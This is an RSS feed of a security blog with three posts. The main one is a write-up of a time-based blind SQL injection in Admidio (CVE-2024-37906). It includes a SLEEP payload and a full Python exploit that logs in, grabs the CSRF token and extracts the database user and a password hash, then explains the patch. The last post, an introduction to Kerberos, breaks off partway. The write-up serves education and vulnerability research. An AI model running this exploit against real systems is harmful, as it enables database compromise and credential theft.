<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Echo_Slow on Medium]]></title>
        <description><![CDATA[Stories by Echo_Slow on Medium]]></description>
        <link>https://medium.com/@Echo_Slow?source=rss-a756e879990d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ENwzijemPZm9gD1P_JgfIw.jpeg</url>
            <title>Stories by Echo_Slow on Medium</title>
            <link>https://medium.com/@Echo_Slow?source=rss-a756e879990d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 23:25:30 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@Echo_Slow/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Moving to a custom blog]]></title>
            <link>https://medium.com/@Echo_Slow/moving-to-a-custom-blog-2e1aeccc19cf?source=rss-a756e879990d------2</link>
            <guid isPermaLink="false">https://medium.com/p/2e1aeccc19cf</guid>
            <category><![CDATA[custom-blog]]></category>
            <dc:creator><![CDATA[Echo_Slow]]></dc:creator>
            <pubDate>Sun, 08 Mar 2026 16:12:14 GMT</pubDate>
            <atom:updated>2026-03-08T16:12:14.786Z</atom:updated>
            <content:encoded><![CDATA[<p>The day has come…</p><p>I’ve spent the past few weeks standing up my custom blog, and today I’ve published my first post there.</p><p><a href="https://echoslow.dev/blog/Covering_CVE-2025-59934/">Understanding the difference between verify and decode - CVE-2025-59934</a></p><p>I’ll be publishing my posts there for now on as it allows me flexibility in the creation of a post.</p><p>I’ve added RSS feeds that you can add to your favorite content reader (I use <a href="https://inoreader.com/">inoreader</a>) and be notified when a new post is made.</p><p>See you on the other blog :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2e1aeccc19cf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The return to blogging and a blind SQL injection]]></title>
            <link>https://infosecwriteups.com/the-return-to-blogging-and-a-blind-sql-injection-2bee0a7fa779?source=rss-a756e879990d------2</link>
            <guid isPermaLink="false">https://medium.com/p/2bee0a7fa779</guid>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[php]]></category>
            <category><![CDATA[security-research]]></category>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[sql-injection]]></category>
            <dc:creator><![CDATA[Echo_Slow]]></dc:creator>
            <pubDate>Sun, 04 Jan 2026 10:33:02 GMT</pubDate>
            <atom:updated>2026-01-05T13:22:36.285Z</atom:updated>
            <content:encoded><![CDATA[<p>This post will cover what I’ve been up to, while also covering a time-based SQL injection inside Admidio tracked as CVE-2024–37906.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/0*dZIs_YPl98Qlx5R1.jpg" /></figure><h3>My absence</h3><p>It’s been almost two years since my last blog post covering the Kerberos protocol. Since then, I have been busy with my first job, getting my OSCP, finding my first two CVEs and a bunch of other IRL things. Safe to say, that left me with little time to write blogs that are technical and well researched. This year I aim to change that, inspired by this <a href="https://pentesterlab.com/blog/demonstrate-hacking-skills-without-0dayz">PentesterLab blog post</a>, by covering each month a CVE with root cause analysis, research, patches, and exploit code — this also helps me develop skills which were planted with the CWEE I obtained recently ;) .</p><p>Don’t be fooled, I won’t be covering only CVEs, in between CVE deep dives, I will cover the promised Kerberos attacks in detail and maldev content, so stay tuned.</p><h3>Finding the vulnerability</h3><p>I wanted to get better at manually writing a script to exploit time-based SQL vulnerabilities. To do that, I had to first find such a vulnerability; luckily others have already done the hard stuff, so I just browsed cve.org to find fitting vulnerabilities.</p><p>One of those vulnerabilities was <a href="https://www.cve.org/CVERecord?id=CVE-2024-37906">CVE-2024–37906</a>, a blind SQL injection inside Admidio. Admidio is an open-source user management application, available on <a href="https://github.com/Admidio/admidio">GitHub</a>.</p><p>For the purposes of this blog post, and to sharpen my skills, I limited myself to just using the vulnerability description provided by the CVE record:</p><blockquote>Admidio is a free, open source user management system for websites of organizations and groups. In Admidio before version 4.3.9, there is an SQL Injection in the `/adm_program/modules/ecards/ecard_send.php` source file of the Admidio Application. The SQL Injection results in a compromise of the application’s database. The value of `ecard_recipients` POST parameter is being directly concatenated with the SQL query in the source code causing the SQL Injection. The SQL Injection can be exploited by a member user, using blind condition-based, time-based, and Out of band interaction SQL Injection payloads. This vulnerability is fixed in 4.3.9.</blockquote><p>Luckily for me, the description highlighted the vulnerable parameter and the file where it was located in.</p><p>Opening the file in a text editor showed that the ‘ecard_recipients’ was taken from a post parameter and no filtering was performed on it:</p><pre>foreach ($_POST[&#39;ecard_recipients&#39;] as $value) { // [1]<br>    if (str_contains($value, &#39;groupID&#39;)) { // [2]<br>        $roleId = (int) substr($value, 9);<br>        if ($gCurrentUser-&gt;hasRightSendMailToRole($roleId)) {<br>            $arrayRoles[] = $roleId;<br>        }<br>    } else {<br>        $arrayUsers[] = $value; // [3]<br>    }<br>}</pre><p>The highlighted lines perform the following actions in order:</p><p>1 — Takes each value from the POST parameter “ecard_recipients” and performs no variable sanitization.</p><p>2 — Looks for the “groupID” value, which is set if the message is being sent to a group, but more importantly casts the result of <a href="https://www.php.net/manual/en/function.substr.php">substr</a> to an integer before assigning the value to the array “arrayRoles[]”.</p><p>3 — This code part is hit if the message is sent to a user rather than a group, and the value obtained from the POST request is simply assigned to the array “arrayUsers[]”.</p><p>I understood the theory of the request, but I also wanted to see how these requests looked in Burp Suite:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*yBY8iugKy1AlqwY_y84WjQ.png" /><figcaption>Intended request for multiple groups and user.</figcaption></figure><p>The POST parameters are URL encoded, so I took the liberty to decode them and show how they look, depending on if we are sending the message to multiple groups and a single user:</p><pre>ecard_recipients[]=groupID: 1&amp;ecard_recipients[]=groupID: 3&amp;ecard_recipients[]=groupID: 2&amp;ecard_recipients[]=2</pre><p>Just groups:</p><pre>ecard_recipients[]=groupID: 1&amp;ecard_recipients[]=groupID: 3&amp;ecard_recipients[]=groupID: 2</pre><p>And just a user:</p><pre>ecard_recipients[]=2</pre><p>From the code snippet, the array “arrayUsers[]” contains the unsanitized value obtained from the POST request, which in this case above would be the string “2”.</p><p>A few lines below the previous code snippet, the following code snippet appears:</p><pre>if (count($arrayUsers) &gt; 0) { // [1]<br>    $sql = &#39;SELECT DISTINCT first_name.usd_value AS first_name, last_name.usd_value AS last_name, email.usd_value AS email<br>              FROM &#39;.TBL_USERS.&#39;<br>        INNER JOIN &#39; . TBL_USER_DATA . &#39; AS email<br>                ON email.usd_usr_id = usr_id<br>               AND LENGTH(email.usd_value) &gt; 0<br>        INNER JOIN &#39; . TBL_USER_FIELDS . &#39; AS field<br>                ON field.usf_id = email.usd_usf_id<br>               AND field.usf_type = \&#39;EMAIL\&#39;<br>                   &#39; . $sqlEmailField . &#39;<br>        INNER JOIN &#39;.TBL_USER_DATA.&#39; AS last_name<br>                ON last_name.usd_usr_id = usr_id<br>               AND last_name.usd_usf_id = ? -- $gProfileFields-&gt;getProperty(\&#39;LAST_NAME\&#39;, \&#39;usf_id\&#39;)<br>        INNER JOIN &#39;.TBL_USER_DATA.&#39; AS first_name<br>                ON first_name.usd_usr_id = usr_id<br>               AND first_name.usd_usf_id = ? -- $gProfileFields-&gt;getProperty(\&#39;FIRST_NAME\&#39;, \&#39;usf_id\&#39;)<br>             WHERE usr_id           IN (&#39;.implode(&#39;,&#39;, $arrayUsers).&#39;) <br>               AND usr_valid        = true<br>          ORDER BY last_name, first_name&#39;; // [2]<br>    $queryParams = array(<br>        $gProfileFields-&gt;getProperty(&#39;LAST_NAME&#39;, &#39;usf_id&#39;),<br>        $gProfileFields-&gt;getProperty(&#39;FIRST_NAME&#39;, &#39;usf_id&#39;)<br>    );<br>    $usersStatement = $gDb-&gt;queryPrepared($sql, $queryParams);<br><br>    while ($row = $usersStatement-&gt;fetch()) { // [3]<br>      .<br>      .<br>      .<br>    &lt;snip&gt;</pre><p>As with the previous snippet:</p><p>1 — The IF statement takes the values from our array “arrayUsers[]” and if the number of entries is more than 0 it proceeds with building the SQL query.</p><p>2 — This SQL query takes in the array “arrayUsers[]” and using <a href="https://www.php.net/manual/en/function.implode.php">implode</a> the array is transformed into a string that can be inserted into the SQL query</p><p>3 — The final line of the code executes the prepared SQL query.</p><p>The implode function could break the SQL injection, as it uses the delimiter passed to it to concatenate the array entries. However, if inside the POST request we send only one user, the array will contain only one entry, making the implode function irrelevant.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/458/1*Ss8tJ8ixwWTNH0PbjCR7cA.png" /><figcaption>Example showing that implode does not break the SQL syntax</figcaption></figure><p>Also, an important note is that the query doesn’t return any data to the user making it a blind SQL injection, which was also highlighted by the CVE description.</p><p>Following the code analysis, I had everything required to create an initial PoC. I sent a simple sleep payload that would force the application to wait for 5 seconds before returning a response:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jouLmBFfaGj7tbncB6J2og.png" /><figcaption>Request resulting in a response of ~5 seconds</figcaption></figure><p>The keen-eyed of you would have seen that I used the following payload:</p><pre>2) OR (SELECT SLEEP(5))-- -</pre><p>The reason I used that payload is the way that the array is incorporated into the query:</p><pre>&#39;WHERE usr_id           IN (&#39;.implode(&#39;,&#39;, $arrayUsers).&#39;)</pre><p>Using my payload, the query becomes:</p><pre>WHERE usr_id           IN (2) OR (SELECT SLEEP(5)-- -)</pre><p>Making the query look for a person with user ID 2 or sleep for 5 seconds. This payload is agnostic of if a user exists with the ID of 2 since the OR operator in SQL evaluates both conditions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*IwiquaMdvaIU04hj.png" /><figcaption>Example of the OR operator from <a href="https://www.programiz.com/sql/and-or-not">https://www.programiz.com/sql/and-or-not</a></figcaption></figure><p>The final part of the original SQL query is commented out due to the “— -” used within my payload.</p><h3>Creating the exploit script</h3><p>Having forced the application to execute arbitrary SQL code, it was time to create a script that would exploit the vulnerability automatically.</p><p>This is a good point to mention that the exploit requires a low privileged account, so before I could write the exploit logic, I first had to write the login functionality and session management.</p><pre>&quot;&quot;&quot;Exploitation script for CVE-2024-37906.&quot;&quot;&quot;<br><br>import sys<br>import requests<br><br><br>def login_func(url: str, username: str, password: str) -&gt; dict | None:<br>    &quot;&quot;&quot;Performs login request and returns session cookies or None on failure.<br>    <br>    Args:<br>        url: Base URL of Admidio installation.<br>        username: Username to use for login request.<br>        password: Password to use for login request.<br>        <br>    Returns:<br>        Session cookies on success, None on failure.<br>    &quot;&quot;&quot;<br>    data = {<br>        &quot;plg_usr_login_name&quot;: username,<br>        &quot;plg_usr_password&quot;: password,<br>    }<br>    session_cookie = &quot;ADMIDIO_admidio_adm_SESSION_ID&quot;<br>    <br>    try:<br>        response = requests.post(<br>            f&quot;{url}/adm_program/system/login.php?mode=check&quot;,<br>            data=data,<br>            timeout=5,<br>        )<br>        response.raise_for_status()<br>        <br>        cookies = response.cookies.get_dict()<br>        if session_cookie not in cookies:<br>            print(&quot;No session cookie received!&quot;)<br>            return None<br>            <br>        return cookies<br>        <br>    except requests.exceptions.RequestException as e:<br>        print(f&quot;Request failed: {e}&quot;)<br>        return None<br><br><br>if __name__ == &quot;__main__&quot;:<br>    if len(sys.argv) != 4:<br>        print(&quot;Usage: python3 CVE-2024-37906.py BASE_URL USERNAME PASSWORD&quot;)<br>        print(&quot;Example: python3 CVE-2024-37906.py http://localhost/admidio-4.3.8 admin Password123&quot;)<br>        sys.exit(1)<br>    <br>    result = login_func(sys.argv[1], sys.argv[2], sys.argv[3])<br>    print(result)</pre><p>The code above implements the basic login functionality. It sends a request with the username and password, which are passed through the CLI, to the login endpoint. The function returns the session cookie for the user, which can be used for further requests.</p><p>I had to still implement a way to fetch the CSRF token, as the malicious request couldn’t be sent without a CSRF token. For that, I used the previous session cookie to send a GET request to the homepage and extract the CSRF token hidden inside the body of the response:</p><pre>&quot;&quot;&quot;Exploitation script for CVE-2024-37906.&quot;&quot;&quot;<br><br>import sys<br>import requests<br>from bs4 import BeautifulSoup<br><br><br>def login_func(url: str, username: str, password: str) -&gt; dict | None:<br>    &quot;&quot;&quot;Performs login request and returns session cookies or None on failure.<br><br>    Args:<br>        url: Base URL of Admidio installation.<br>        username: Username to use for login request.<br>        password: Password to use for login request.<br><br>    Returns:<br>        Dictionary on success, None on failure.<br>    &quot;&quot;&quot;<br>    data = {<br>        &quot;plg_usr_login_name&quot;: username,<br>        &quot;plg_usr_password&quot;: password,<br>    }<br>    session_cookie = &quot;ADMIDIO_admidio_adm_SESSION_ID&quot;<br><br>    try:<br>        response = requests.post(<br>            f&quot;{url}/adm_program/system/login.php?mode=check&quot;,<br>            data=data,<br>            timeout=5,<br>        )<br>        response.raise_for_status()<br><br>        cookies = response.cookies.get_dict()<br>        if session_cookie not in cookies:<br>            print(&quot;No session cookie received!&quot;)<br>            return None<br><br>        return cookies<br><br>    except requests.exceptions.RequestException as e:<br>        print(f&quot;Request failed: {e}&quot;)<br>        return None<br><br><br>def get_csrf(url: str, cookie: dict) -&gt; str | None:<br>    &quot;&quot;&quot;Performs a GET request and returns the CSRF token as a string or None on failure.<br><br>    Args:<br>        url: Base URL of Admidio installation.<br>        cookie: Session cookie obtained from the login_func.<br><br>    Returns:<br>        String on success, None on failure.<br>    &quot;&quot;&quot;<br>    csrf_token_name = &quot;admidio-csrf-token&quot;<br><br>    try:<br>        response = requests.get(<br>            f&quot;{url}/adm_program/overview.php&quot;,<br>            cookies=cookie,<br>            timeout=5<br>        )<br>        response.raise_for_status()<br><br>        soup = BeautifulSoup(response.text, &quot;html.parser&quot;)<br>        csrf_token = soup.select_one(f&quot;input[name=&#39;{csrf_token_name}&#39;]&quot;)[&quot;value&quot;]<br>        if csrf_token is None:<br>            print(&quot;No CSRF token received&quot;)<br>            return None<br><br>        return csrf_token<br><br>    except requests.exceptions.RequestException as e:<br>        print(f&quot;Request failed: {e}&quot;)<br>        return None<br><br><br>if __name__ == &quot;__main__&quot;:<br>    if len(sys.argv) != 4:<br>        print(&quot;Usage: python3 CVE-2024-37906.py BASE_URL USERNAME PASSWORD&quot;)<br>        print(<br>            &quot;Example: python3 CVE-2024-37906.py http://localhost/admidio-4.3.8 admin Password123&quot;<br>        )<br>        sys.exit(1)<br><br>    cookie = login_func(sys.argv[1], sys.argv[2], sys.argv[3])<br><br>    if cookie is None:<br>        # Exit if no cookie was obtained<br>        sys.exit(1)<br><br>    csrf_token = get_csrf(sys.argv[1], cookie)<br><br>    if csrf_token is None:<br>        # Exit if no CSRF token was obtained<br>        sys.exit(1)<br><br>    print(csrf_token)</pre><blockquote>Now that I look back at it, it might have been better to use session objects. You can learn more about them <a href="https://requests.readthedocs.io/en/latest/user/advanced/#session-objects">here</a>.</blockquote><p>After the login functionality, I moved on to create the oracle. The idea of an oracle is to return either true or false depending on if a condition is met. In this case, the oracle should return true if the SQL statement passed to it returned true and false otherwise.</p><p>But how can we know if the SQL statement was successful? Well, we use the sleep function to sleep for X amount of seconds in case of a true statement, and our oracle uses the delay in the response to return true. If there is no delay, it means that the SQL statement was unsuccessful and the oracle should return false.</p><p>Now that I covered the theory, only the hard part was left and that was to actually implement the code:</p><pre>&quot;&quot;&quot;Exploitation script for CVE-2024-37906.&quot;&quot;&quot;<br><br>import sys<br>import requests<br>from bs4 import BeautifulSoup<br>import time<br>import uuid<br><br># The time used to test an SQL query, reduce the number for faster execution.<br>DELAY = 1<br><br><br>def login_func(url: str, username: str, password: str) -&gt; dict | None:<br>    &quot;&quot;&quot;Performs login request and returns session cookies or None on failure.<br><br>    Args:<br>        url: Base URL of Admidio installation.<br>        username: Username to use for login request.<br>        password: Password to use for login request.<br><br>    Returns:<br>        Dictionary on success, None on failure.<br>    &quot;&quot;&quot;<br>    data = {<br>        &quot;plg_usr_login_name&quot;: username,<br>        &quot;plg_usr_password&quot;: password,<br>    }<br>    session_cookie = &quot;ADMIDIO_admidio_adm_SESSION_ID&quot;<br><br>    try:<br>        response = requests.post(<br>            f&quot;{url}/adm_program/system/login.php?mode=check&quot;,<br>            data=data,<br>            timeout=5,<br>        )<br>        response.raise_for_status()<br><br>        cookies = response.cookies.get_dict()<br>        if session_cookie not in cookies:<br>            print(&quot;No session cookie received!&quot;)<br>            return None<br><br>        return cookies<br><br>    except requests.exceptions.RequestException as e:<br>        print(f&quot;Request failed: {e}&quot;)<br>        return None<br><br><br>def get_csrf(url: str, cookie: dict) -&gt; str | None:<br>    &quot;&quot;&quot;Performs a GET request and returns the CSRF token as a string or None on failure.<br><br>    Args:<br>        url: Base URL of Admidio installation.<br>        cookie: Session cookie obtained from the login_func.<br><br>    Returns:<br>        String on success, None on failure.<br>    &quot;&quot;&quot;<br>    csrf_token_name = &quot;admidio-csrf-token&quot;<br><br>    try:<br>        response = requests.get(<br>            f&quot;{url}/adm_program/overview.php&quot;,<br>            cookies=cookie,<br>            timeout=5,<br>        )<br>        response.raise_for_status()<br><br>        soup = BeautifulSoup(response.text, &quot;html.parser&quot;)<br>        csrf_token = soup.select_one(f&quot;input[name=&#39;{csrf_token_name}&#39;]&quot;)[&quot;value&quot;]<br>        if csrf_token is None:<br>            print(&quot;No CSRF token received&quot;)<br>            return None<br><br>        return csrf_token<br><br>    except requests.exceptions.RequestException as e:<br>        print(f&quot;Request failed: {e}&quot;)<br>        return None<br><br><br># Skeleton of the oracle function taken from the HTB Academy Module Blind SQL Injection<br>def oracle(url: str, query: str, cookie: dict, csrf_token: str) -&gt; bool | None:<br>    &quot;&quot;&quot;Serves as an oracle that evaluates expressions returning the evaluation on success or None on failure.<br><br>    Args:<br>        url: Base URL of Admidio installation.<br>        query: SQL query that will be evaluated.<br>        cookie: Cookie for the session previously obtained.<br>        csrf_token: CSRF token previously obtained.<br><br>    Returns:<br>        Boolean on success, None on failure.<br>    &quot;&quot;&quot;<br>    data = {<br>        &quot;admidio-csrf-token&quot;: csrf_token,<br>        &quot;submit-action&quot;: &quot;&quot;,<br>        &quot;photo_uuid&quot;: uuid.uuid4(),<br>        &quot;photo_nr&quot;: 1,<br>        &quot;ecard_template&quot;: &quot;postcard.tpl&quot;,<br>        &quot;ecard_recipients[]&quot;: f&quot;31337) OR (SELECT IF({query}, SLEEP({DELAY}), &#39;Dummy&#39;))-- -&quot;,<br>        &quot;ecard_message&quot;: &quot;Kind regards...&quot;,<br>    }<br><br>    try:<br>        start = time.time()<br>        requests.post(<br>            f&quot;{url}/adm_program/modules/ecards/ecard_send.php&quot;,<br>            cookies=cookie,<br>            data=data,<br>            timeout=5,<br>        )<br><br>        return time.time() - start &gt; DELAY<br><br>    except requests.exceptions.RequestException as e:<br>        print(f&quot;Request failed: {e}&quot;)<br>        return None<br><br><br># Function taken from the HTB Academy Module Blind SQL Injection<br>def get_length(url: str, query: str, cookie: dict, csrf_token: str) -&gt; int:<br>    &quot;&quot;&quot;Gets the length of the response to the SQL query, returns the length on succes and 0 on failure.<br><br>    Args:<br>        url: Base URL of Admidio installation.<br>        query: SQL query that will be evaluated.<br>        cookie: Cookie for the session previously obtained.<br>        csrf_token: CSRF token previously obtained.<br><br>    Returns:<br>        Integer on success and failure<br>    &quot;&quot;&quot;<br>    length = 0<br>    for p in range(7):<br>        if oracle(url, f&quot;({query})&amp;{2**p}&gt;0&quot;, cookie, csrf_token):<br>            length |= 2**p<br>    return length<br><br><br># Function taken from the HTB Academy Module Blind SQL Injection<br>def get_string(url: str, query: str, cookie: dict, csrf_token: str, length: int) -&gt; str:<br>    &quot;&quot;&quot;Retrieves the result of the SQL query, returns a string.<br><br>    Args:<br>        url: Base URL of Admidio installation.<br>        query: SQL query that will be evaluated.<br>        cookie: Cookie for the session previously obtained.<br>        csrf_token: CSRF token previously obtained.<br>        length: The length of the response<br><br>    Returns:<br>        String on success and failure<br>    &quot;&quot;&quot;<br>    val = &quot;&quot;<br>    for i in range(1, length + 1):<br>        c = 0<br>        for p in range(7):<br>            if oracle(<br>                url, f&quot;ASCII(SUBSTRING(({query}),{i},1))&amp;{2**p}&gt;0&quot;, cookie, csrf_token<br>            ):<br>                c |= 2**p<br>        val += chr(c)<br>    return val<br><br><br>if __name__ == &quot;__main__&quot;:<br>    if len(sys.argv) != 4:<br>        print(&quot;Usage: python3 CVE-2024-37906.py BASE_URL USERNAME PASSWORD&quot;)<br>        print(&quot;Example: python3 CVE-2024-37906.py http://localhost/admidio-4.3.8 admin Password123&quot;)<br>        sys.exit(1)<br><br>    cookie = login_func(sys.argv[1], sys.argv[2], sys.argv[3])<br><br>    if cookie is None:<br>        # Exit if no cookie was obtained<br>        sys.exit(1)<br><br>    csrf_token = get_csrf(sys.argv[1], cookie)<br><br>    if csrf_token is None:<br>        # Exit if no CSRF token was obtained<br>        sys.exit(1)<br><br>    db_user_length = get_length(sys.argv[1], &quot;LENGTH(USER())&quot;, cookie, csrf_token)<br><br>    db_user = get_string(sys.argv[1], &quot;USER()&quot;, cookie, csrf_token, db_user_length)<br>    print(f&quot;The current user: {db_user}&quot;)<br><br>    password_length = get_length(<br>        sys.argv[1],<br>        &quot;SELECT LENGTH(usr_password) from adm_users where usr_id=2&quot;,<br>        cookie,<br>        csrf_token,<br>    )<br><br>    password_hash = get_string(<br>        sys.argv[1],<br>        &quot;SELECT usr_password from adm_users where usr_id=2&quot;,<br>        cookie,<br>        csrf_token,<br>        password_length,<br>    )<br>    print(f&quot;The password hash for the user with ID 2: {password_hash}&quot;)</pre><p>Luckily for me, I didn’t need to make another request to obtain a valid ID for the “photo_uuid” variable, as any UUID supplied to it would allow for the vulnerability to still trigger.</p><p>In addition to the oracle function, I used the 2 functions get_length and get_string covered in one of the HTB CWEE modules to evaluate any query passed to them and return the length or result of the query. With that I only had to run the script one final time to verify that it works and lo and behold:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*iC2zWx66mocj-66ahrIsTA.png" /><figcaption>Script returns the current user and the password hash for the admin user</figcaption></figure><p>And the script only took ~600 seconds to execute 💀.</p><p>I’ll leave it as an exercise for the reader to improve the speed of this script.</p><h3>The patch</h3><p>As the last part of this blog post, I’ll cover the patch used in version 4.3.9 and beyond to prevent the vulnerability.</p><p>While it may seem distant, the original vulnerability appeared due to the saving of user input into the array “arrayUsers[]”, which was then used inside a SQL query.</p><p>While the general advice is to use prepared statements when inserting user controlled data into a SQL query, the patch used a different way. Looking back at the code, the “arrayUsers[]” variable should only contain numbers, so the different way of preventing the vulnerability is to cast user data to an integer:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*VPRBiPg3o_MyjtD97yGorw.png" /><figcaption>Casting to an integer removes any string inside the variable</figcaption></figure><p>The patch can be found <a href="https://github.com/Admidio/admidio/commit/3ff02b0c64a6911ab3e81cd61077f392c0b25248">here</a>.</p><h3>Conclusion and references</h3><p>Hope you at least enjoyed the blog half as much as I enjoyed writing the exploit for the vulnerability. Stay tuned for more blog posts in the future, and give me a follow. If you have any questions, you can leave them in the comments, and I’ll get back to you ASAP.</p><p>References:</p><ul><li>Admidio — <a href="https://github.com/Admidio/admidio">https://github.com/Admidio/admidio</a></li><li>HTB Academy — <a href="https://referral.hackthebox.com/mz5kZa0">https://referral.hackthebox.com/mz5kZa0</a> (My referral code, you get 20 cubes to start learning)</li><li>PentesterLab — <a href="https://pentesterlab.com/blog/">https://pentesterlab.com/blog/</a> (Always great blogs, and weekly research posts)</li><li>My exploit code — <a href="https://github.com/EchoSl0w/Scripts/blob/main/2024/CVE-2024-37906.py">https://github.com/EchoSl0w/Scripts/blob/main/2024/CVE-2024-37906.py</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2bee0a7fa779" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/the-return-to-blogging-and-a-blind-sql-injection-2bee0a7fa779">The return to blogging and a blind SQL injection</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introduction to Kerberos]]></title>
            <link>https://infosecwriteups.com/introduction-to-kerberos-39a1922ec5ac?source=rss-a756e879990d------2</link>
            <guid isPermaLink="false">https://medium.com/p/39a1922ec5ac</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[kerberos-authentication]]></category>
            <category><![CDATA[kerberos]]></category>
            <dc:creator><![CDATA[Echo_Slow]]></dc:creator>
            <pubDate>Tue, 09 Apr 2024 13:12:02 GMT</pubDate>
            <atom:updated>2024-04-12T02:56:43.579Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cVR2-mivd4Uil5W5s1-Kcg.png" /><figcaption>Image from: <a href="https://pwnit.io/2022/02/11/what-is-kerberos-and-how-it-works/">https://pwnit.io/2022/02/11/what-is-kerberos-and-how-it-works/</a></figcaption></figure><p>Welcome to a new series on Active Directory and Kerberos. In this first installment, I’ll show the basics of how Kerberos works, with future installments I’ll showcase attacks on Kerberos and further explain Active Directory.</p><h3>Contents</h3><ul><li><a href="#7037">What is Kerberos?</a></li><li><a href="#c9b9">How does Kerberos work?</a></li><li><a href="#5b11">Ticket exchange</a></li><li><a href="#5c08">AS-REQ</a></li><li><a href="#6c39">AS-REP</a></li><li><a href="#fcff">Digression: PAC</a></li><li><a href="#36e1">TGS-REQ</a></li><li><a href="#60d0">TGS-REP</a></li><li><a href="#0c20">AP-REQ</a></li><li><a href="#c92f">AP-REP</a></li><li><a href="#8b9c">TL;DR</a></li><li><a href="#d5e5">Sources</a></li></ul><h3>What is Kerberos?</h3><p>If you are new to Active Directory, this might be your first question. In the simplest terms, Kerberos is an authentication protocol. Authentication is defined, per <a href="https://csrc.nist.gov/glossary/term/authentication">NIST</a>, as:</p><blockquote>Verifying the identity of a user, process, or device, often as a prerequisite to allowing access to resources in an information system.</blockquote><p>Further, authentication can be achieved via the following means:</p><ul><li>something you know</li><li>something you have</li><li>and something you are</li></ul><p>These can in turn be understood as:</p><ul><li>something you know — a password or PIN</li><li>something you have — a credit card or a U2F</li><li>something you are — your fingerprint or iris</li></ul><p>Often these are combined to achieve additional security (think of 2FA). For example, when going to an ATM, you need to possess a credit card AND know the PIN to be able to withdraw money.</p><p>Kerberos, on the other hand, mostly uses passwords to achieve authentication (I’ll leave ADCS out of this, for now). Since Kerberos plays such an important role in the working of Active Directory it can be considered its heart.</p><h3>How does Kerberos work?</h3><p>Glad you asked, the inner working of the protocol is described in RFC 4120. The important part is that it’s based on the exchange of data structures named “tickets” between 3 parties. The parties are:</p><ul><li>The client</li><li>The server</li><li>and the KDC (Key Distribution Center)</li></ul><p>And the KDC in turn is comprised of:</p><ul><li>The AS (Authentication Service)</li><li>and the TGS (Ticket Granting Service)</li></ul><p>The KDC runs as a domain service on the DC (Domain Controller). Going back to the part of authentication, how can Kerberos achieve that task?</p><p>Well, first we need to take a look at how 2 computers would authenticate. They require knowing a shared secret between them to be able to authenticate each other. While fine in a lab environment, in a company with 100 computers the number of saved secrets would be <strong>4.950 </strong>([n*(n-1)]/2). Clearly, this doesn’t work, both from the aspect of the number of required secrets, as well as in the case of the compromise of one machine you’d be able to extract all the secrets on the machine.</p><p>This is why Kerberos uses 3 parties, where each party trusts one party, that one party being the KDC of course. The other 2 parties can then use the KDC to establish trust between each other, in this way only the KDC is required to have a pre-shared secret with each computer. That pre-shared secret being the password of the user/account, but we’ll get back to this later.</p><p>I’ve also mentioned that Keberos works by exchanging tickets, the structure of those tickets is shown below:</p><pre><br>   Ticket          ::= [APPLICATION 1] SEQUENCE {<br>           tkt-vno         [0] INTEGER (5),<br>           realm           [1] Realm,<br>           sname           [2] PrincipalName,<br>           enc-part        [3] EncryptedData -- EncTicketPart<br>   }<br><br>   -- Encrypted part of ticket<br> EncTicketPart   ::= [APPLICATION 3] SEQUENCE {<br>           flags                   [0] TicketFlags,<br>           key                     [1] EncryptionKey,<br>           crealm                  [2] Realm,<br>           cname                   [3] PrincipalName,<br>           transited               [4] TransitedEncoding,<br>           authtime                [5] KerberosTime,<br>           starttime               [6] KerberosTime OPTIONAL,<br>           endtime                 [7] KerberosTime,<br>           renew-till              [8] KerberosTime OPTIONAL,<br>           caddr                   [9] HostAddresses OPTIONAL,<br>           authorization-data      [10] AuthorizationData OPTIONAL<br>   }<br><br>   -- encoded Transited field<br>   TransitedEncoding       ::= SEQUENCE {<br>           tr-type         [0] Int32 -- must be registered --,<br>           contents        [1] OCTET STRING<br>   }<br><br>   TicketFlags     ::= KerberosFlags<br>           -- reserved(0),<br>           -- forwardable(1),<br>           -- forwarded(2),<br>           -- proxiable(3),<br>           -- proxy(4),<br>           -- may-postdate(5),<br>           -- postdated(6),<br>           -- invalid(7),<br>           -- renewable(8),<br>           -- initial(9),<br>           -- pre-authent(10),<br>           -- hw-authent(11),<br>   -- the following are new since 1510<br>           -- transited-policy-checked(12),<br>           -- ok-as-delegate(13)</pre><p>As taken from RFC 4120. Just having this doesn’t tell us much, so how about we showcase that data structure on an actual ticket?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*jzpbIJVe3F0xTjABP3Hu3Q.png" /><figcaption>Decrypted Wireshark trace 